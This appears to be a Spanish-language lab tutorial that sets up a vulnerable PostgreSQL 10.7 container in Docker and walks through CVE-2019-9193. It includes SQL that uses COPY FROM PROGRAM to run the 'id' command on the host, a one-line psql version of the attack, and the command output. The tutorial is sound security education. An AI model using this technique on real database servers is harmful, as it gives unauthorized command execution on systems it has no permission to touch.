
Laboratorio basado en Docker que demuestra la ejecución arbitraria de comandos de PostgreSQL (CVE-2019-9193) mediante COPY FROM PROGRAM, con un PoC paso a paso para pruebas de seguridad y educación.
PostgreSQL es un potente sistema de gestión de bases de datos relacional de código abierto. Una vulnerabilidad presente en las versiones de la 9.3 a la 11 permite a los administradores o usuarios con privilegios COPY TO/FROM PROGRAM ejecutar comandos arbitrarios en el sistema.
docker-compose.ymlCrea un archivo docker-compose.yml con el siguiente contenido:
version: '2'
services:
postgres:
image: vulhub/postgres:10.7
ports:
- "5432:5432"
environment:
- POSTGRES_PASSWORD=postgres
Ejecuta el contenedor con el siguiente comando:
docker compose up -d
Verifica que el contenedor esté en ejecución:
docker ps
La salida debería mostrar el contenedor PostgreSQL escuchando en el puerto 5432.
Si no tienes el cliente psql instalado, puedes hacerlo con:
apt-get install postgresql-client
Conéctate a la base de datos directamente desde Kali:
psql -h localhost -p 5432 -U postgres
Se te solicitará la contraseña, ingresa:
postgres
Una vez conectado a la consola PostgreSQL, ejecuta los siguientes comandos para explotar la vulnerabilidad:
-- Elimina la tabla si existe
DROP TABLE IF EXISTS cmd_exec;
-- Crea una nueva tabla para almacenar la salida del comando
CREATE TABLE cmd_exec(cmd_output text);
-- Ejecuta el comando 'id' mediante la función COPY FROM PROGRAM
COPY cmd_exec FROM PROGRAM 'id';
-- Muestra la salida del comando
SELECT * FROM cmd_exec;
Puedes ejecutar todo directamente desde la línea de comandos:
psql -h localhost -p 5432 -U postgres -c "DROP TABLE IF EXISTS cmd_exec; CREATE TABLE cmd_exec(cmd_output text); COPY cmd_exec FROM PROGRAM 'id'; SELECT * FROM cmd_exec;"
uid=999(postgres) gid=999(postgres) groups=999(postgres) (1 row)
Presiona \q para salir:
\q
Esta vulnerabilidad permite la ejecución arbitraria de comandos con privilegios administrativos. Úsala solo en entornos controlados y con fines de estudio o verificación. Explotar esta vulnerabilidad en sistemas no autorizados es ilegal.